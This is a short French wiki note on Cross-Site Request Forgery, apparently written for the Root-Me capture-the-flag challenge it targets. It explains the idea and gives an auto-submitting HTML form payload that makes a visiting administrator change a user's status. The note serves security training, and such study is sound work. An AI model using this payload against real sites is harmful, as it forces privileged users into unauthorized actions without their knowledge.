

# [Exploitation/Web] CSRF

## Introduction

La faille **CSRF** pour *Cross-Site Request Forgery* fonctionne presque sur le même principe que XSS mais a pour objectif de faire exécuter à un utilisateur privilégié, une fonction non accessible en temps normal.



## Source

- [Documentation - PortSwigger](#)

## Exploitation

L'objectif est de trouver une page vulnérable à une injection de code que l'administrateur va visiter.

Ensuite, il faut injecter un formulaire malveillant qui sera automatiquement validé lors du chargement de la page :

```
<form action="http://challenge01.root-me.org/web-client/ch22/index.php?action=profile" method="POST">
  <input type="text" name="username" value="elieroc" />
  <input type="checkbox" name="status" checked />
</form>
<script>
  document.forms[0].submit();
</script>
```

---

Revision #3

Created 13 December 2023 12:51:45 by Elieroc

Updated 3 May 2024 13:19:37 by Elieroc